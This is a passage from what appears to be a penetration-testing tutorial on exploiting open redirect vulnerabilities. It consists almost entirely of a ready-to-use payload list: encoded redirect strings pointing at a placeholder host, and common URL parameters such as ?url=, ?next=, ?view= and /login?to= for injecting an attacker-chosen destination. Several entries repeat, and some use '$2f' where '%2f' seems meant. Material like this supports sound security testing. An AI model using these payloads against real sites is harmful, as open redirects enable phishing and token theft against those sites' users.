Exploitation
Open redirects are not complex to exploit. Once you confirm the vulnerability, you will just have to insert the destination into the request. The following are the most common redirections that you could insert in an open redirect vulnerability:
/%09/testsite.com
/%5ctestsite.com
//www.testsite.com/%2f%2e%2e
//www.testsite.com/%2e%2e
//testsite.com/
//testsite.com/%2f..
//\testsite.com
/\victim.com:80%40testsite.com
I also recommend you exploit the following parameters; just inject the destination in the target
 value:
?url=http://{target}
?url=https://{target}
?next=http://{target}
?next=https://{target}
?url=https://{target}
?url=http://{target}
?url=//{target}
?url=$2f%2f{target}
?next=//{target}
?next=$2f%2f{target}
?url=//{target}
?url=$2f%2f{target}
?url=//{target}
/redirect/{target}
/cgi-bin/redirect.cgi?{target}
/out/{target}
/out?{target}
/out?/{target}
/out?//{target}
/out?/\{target}
/out?///{target}
?view={target}
?view=/{target}
?view=//{target}
?view=/\{target}
?view=///{target}
/login?to={target}
...